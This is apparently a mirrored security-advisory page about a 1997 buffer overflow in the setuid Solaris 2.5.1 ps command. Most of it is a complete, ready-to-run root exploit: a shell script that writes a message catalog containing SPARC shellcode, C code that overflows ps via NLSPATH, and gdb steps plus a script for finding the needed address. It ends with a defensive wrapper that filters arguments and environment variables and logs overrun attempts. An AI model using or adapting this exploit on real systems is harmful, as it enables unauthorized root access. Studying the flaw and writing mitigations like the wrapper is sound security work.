source: https://www.securityfocus.com/bid/220/info
The ps command prints information about active processes on a system. Due to insufficient bounds checking on arguments supplied to ps, it is possible to overwrite the internal data space of the ps program. As ps is setuid root, this vulnerability may be exploited by users on a system to gain root access.
#!/bin/sh
#
# Exploit for Solaris 2.5.1 /usr/bin/ps
# J. Zbiciak, 5/18/97
#
# change as appropriate
CC=gcc
# Build the "replacement message" :-)
cat > ps_expl.po << E_O_F
domain "SUNW_OST_OSCMD"
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
E_O_F
msgfmt -o /tmp/foo ps_expl.po
# Build the C portion of the exploit
cat > ps_expl.c << E_O_F
/*****************************************/
/* Exploit for Solaris 2.5.1 /usr/bin/ps */
/* J. Zbiciak, 5/18/97 */
/*****************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH (632)
#define EXTRA (256)
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
/* ps will grok this file for the exploit code */
char *envp[]={"NLSPATH=/tmp/foo",0};
u_long *long_p;
u_char *char_p;
/* This will vary depending on your libc */
u_long proc_link=0xef70ef70;
int i;
long_p = (u_long *) buf;
/* This first loop smashes the target buffer for optargs */
for (i = 0; i < (96) / sizeof(u_long); i++)
*long_p++ = 0x10101010;
/* At offset 96 is the environ ptr -- be careful not to mess it up */
*long_p++=0xeffffcb0;
*long_p++=0xffffffff;
/* After that is the _ctype table. Filling with 0x10101010 marks the
entire character set as being "uppercase printable". */
for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
*long_p++ = 0x10101010;
/* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */
/* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */
/* build up _iob[1] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */
/* build up _iob[2] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */
*long_p =0;
/* The following includes the invalid argument '-z' to force the
usage msg to appear after the arguments have been parsed. */
execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
perror("execle failed");
return 0;
}
E_O_F
# Compile it
$CC -o ps_expl ps_expl.c
# And off we go!
exec ./ps_expl
===========================================================================
A number of you have written saying that the exploit doesn't work.
The biggest problem is that the exploit relies on a very specific
address (which I put in the proc_link variable) in order to work.
(Incidentally, as some have noted, there was a stray '*' in one of
the versions I sent out which causes some warnings to be generated.
Change "u_long *proc_link=..." to "u_long proc_link=..." if this
bothers you. The warnings are benign in this case.)
The following shortcut seems to work for finding the value for
the bothersome proc_link variable. You don't need to be a gdb whiz
to do this:
$ gdb ./ps
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (sparc-sun-solaris2.4),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break exit
Breakpoint 1 at 0x25244
(gdb) run
Starting program: /home3/student/im14u2c/c/./ps
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...Breakpoint 1 at 0xef7545c0
(no debugging symbols found)... PID TTY TIME CMD
9840 pts/27 0:01 ps
19499 pts/27 0:10 bash
9830 pts/27 0:02 gdb
Breakpoint 1, 0xef7545c0 in exit ()
(gdb) disassemble exit
Dump of assembler code for function exit:
0xef7545c0 <exit>: call 0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
0xef7545c4 <exit+4>: nop
0xef7545c8 <exit+8>: mov 1, %g1
0xef7545cc <exit+12>: ta 8
End of assembler dump.
(gdb)
The magic number is in the "call" above: 0xef771408.
For the extremely lazy, the following shell script worked for me to
extract this value from the noise. Your Mileage May Vary.
--- extract_proc_link.sh
#!/bin/sh
cp /usr/bin/ps ./ps
FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
break exit
run
disassemble exit
quit
y
E_O_F
`"
rm -f ./ps
set $FOO foo
[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;
echo " u_long proc_link=$2;"
--- EOF
Note, this sets the proc_link variable to the routine "exit" calls, so
you will probably get garbage on your screen when the exploit runs.
Solution: To it from an xterm or something which lets you do a "reset"
to nullify the action of the control characters in the exploit.
Incidentally, it appears that /usr/ucb/ps is equally succeptable to this
hole, except the vulnerability is on the -t argument, and the string
grokked by gettext is different, so the "ps_expl.po" file needs to be
changed slightly. Fortunately, "environ" and "proc_link" are pretty
much the same. (Use the "extract" script above on /usr/ucb/ps, etc.)
============================================================================
Here's a generic wrapper I've written that you can use as an interim
solution for wrapping /usr/bin/ps and /usr/ucb/ps. (/usr/ucb/ps looks
to be similarly vulnerable.) The code is fairly well documented IMHO,
and should be adaptable enough to wrap just about any program.
This wrapper also filters environment variables, so if you have binaries
which blindly trust certain variables (NLSPATH is a common one in Solaris),
you can filter out those variables. (You could also fairly trivially
add in default values for some variables if you needed to, such as for
NLSPATH.)
Finally, this wrapper will log exploit attempts to syslog if you configure
that option. The log facility, log priority, and log ident are all
configurable with #defines. I've currently set the code to LOG_ALERT
on LOG_LOCAL0, with ident "wrapper". To prevent problems with syslog,
the wrapper even limits the number of characters it writes per log
message. (Note: This limit is on the number of characters per message,
not including the identifier, PID, etc.)
I make no guarantee or warranty about this code; it looks good/works fine
for me. :-) If you have problems configuring this wrapper for a
particular program, first read all the comments in the source, and then
email me if you still can't figure it out. :-)
Incidentally, it's safe to leave ps lying around without the suid-bit;
it'll happily list the calling user's own processes, and those processes
alone. That's one of the wonderful advantages of a /proc based ps. :-)
--- wrapper.c
/*****************************************************************/
/* Generic wrapper to prevent exploitation of suid/sgid programs */
/* J. Zbiciak, 5/19/97 */
/*****************************************************************/
#include <stdio.h>
#include <syslog.h>
#include <strings.h>
#include <unistd.h>
#include <errno.h>
static char rcsid[]="$Id: wrapper.c,v 1.1 1997/05/19 22:48:03 jzbiciak Exp $";
/**************************************************************************/
/* To install, move wrapped executable to a different file name. (I like */
/* just appending an underscore '_' to the filename.) Then, remove the */
/* offending permission bit. Finally, place this program in the wrapped */
/* program's place with the appropriate permissions. Enjoy! */
/**************************************************************************/
/* Tunable values per program being wrapped */
#define WRAPPED "/usr/bin/ps" /* Set to full path of wrapped executable */
#define REALBIN WRAPPED"_" /* Usually can be left untouched. */
#define MAX_ARG (32) /* Maximum argv parameter length. */
#define SYSLOG 1 /* Enable/disable SYSLOGging */
#define FACILITY LOG_LOCAL0 /* Facility to syslog() to */
#define PRIORITY LOG_ALERT /* Priority level for syslog() */
#define LOGIDENT "wrapper" /* How to identify myself to syslog() */
typedef struct tEnvInfo
{
char * env; /* Environment var name with trailing '=' */
int name_len; /* Length of name (including '=') */
int max_len; /* Max length of value assignable to var */
} TEnvInfo;
/* aside: trailing '=' is necessary to prevent problems with variables */
/* whose names prefix each other. */
TEnvInfo allowed_env [] = /* Environ. vars we allow program to see */
{
{ "COLUMNS=", 8, 4 },
{ "LC_CTYPE=", 9, 64 },
{ "LC_MESSAGES=", 11, 64 },
{ "LC_TIME=", 8, 64 },
{ "LOGNAME=", 8, 16 },
{ "TERM=", 5, 16 },
{ "USER=", 5, 16 },
};
#define NUM_ALLOWED_ENV (sizeof(allowed_env)/sizeof(TEnvInfo))
/* Internal use only -- shouldn't need to adjust, usually */
#define MSG_LEN (192) /* Maximum output message length. */
#define MAX_LOG (64) /* Maximum length per call to syslog() */
#ifndef SYSLOG
#error Define "SYSLOG" to be either 1 or 0 explicitly
#endif
/* No user serviceable parts inside (End of configurable options) */
/* Log a message to syslog, and abort */
void log(char * s)
{
#if SYSLOG
char buf[MAX_LOG];
int l;
l=strlen(s);
/* Open up syslog; use "Local0" facility */
openlog(LOGIDENT "[" WRAPPED "]",LOG_PID,FACILITY);
do {
strncpy(buf,s,MAX_LOG-1);
buf[MAX_LOG-1]=0;
syslog (PRIORITY,buf);
l-=64;
if (l>0) s+=MAX_LOG-1;
} while (l>0);
closelog();
#endif
exit(1);
}
/* The main event */
int main(int argc, char * argv[], char *envp[])
{
int i,j,k;
char buf[MSG_LEN];
/* Check all of argv. Log and exit if any args have length > MAX_ARG */
for (i=0;i<argc && argv[i]!=0;i++)
{
if (strlen(argv[i])>MAX_ARG)
{
printf("Error: Aborting!\n"
" Excessive commandline argument length: '%s'\n", argv[i]);
/* Safe since uid/gid etc. are max 5 chars apiece */
sprintf(buf,
"Attempted overrun (argv): "
"uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
(int)getuid(),(int)getgid(),(int)geteuid(),(int)getegid());
log(buf);
exit(1); /* safety net */
}
}
/* Check all of envp. Throw out any environment variables which
aren't in "allowed_env[]". If any variables permitted by
"allowed_env[]" are too long, log and exit. */
for (i=j=0; envp[i]!=0; i++)
{
for (k=0;k<NUM_ALLOWED_ENV;k++)
{
if (strncmp(envp[i],
allowed_env[k].env,
allowed_env[k].name_len)==0)
break;
}
if (k!=NUM_ALLOWED_ENV)
{
if (strlen(envp[i]) >
allowed_env[k].max_len+allowed_env[k].name_len)
{
printf("Error: Aborting!\n"
" Excessive environment variable length: '%s'\n",
envp[i]);
/* Safe because we have control over allowed_env[] */
sprintf(buf,
"Attempted overrun (env var '%s'): "
"uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
allowed_env[k].env,
(int)getuid(),(int)getgid(),(int)geteuid(),(int)getegid());
log(buf);
exit(1); /* safety net */
}
envp[j++]=envp[i];
}
if (j>NUM_ALLOWED_ENV)
{
log("Internal error to wrapper -- too many allowed env vars");
exit(1); /* safety net */
}
}
envp[j]=0;
/* If we make it this far, we're good to go. */
argv[0]=WRAPPED;
execve(REALBIN, argv, envp);
/* Safe, because errno number is very few chars */
sprintf(buf, "execve failed! errno=%.5d\n",errno);
perror("execve() failed");
log(buf);
exit(1); /* safety net */
}
--- EOF
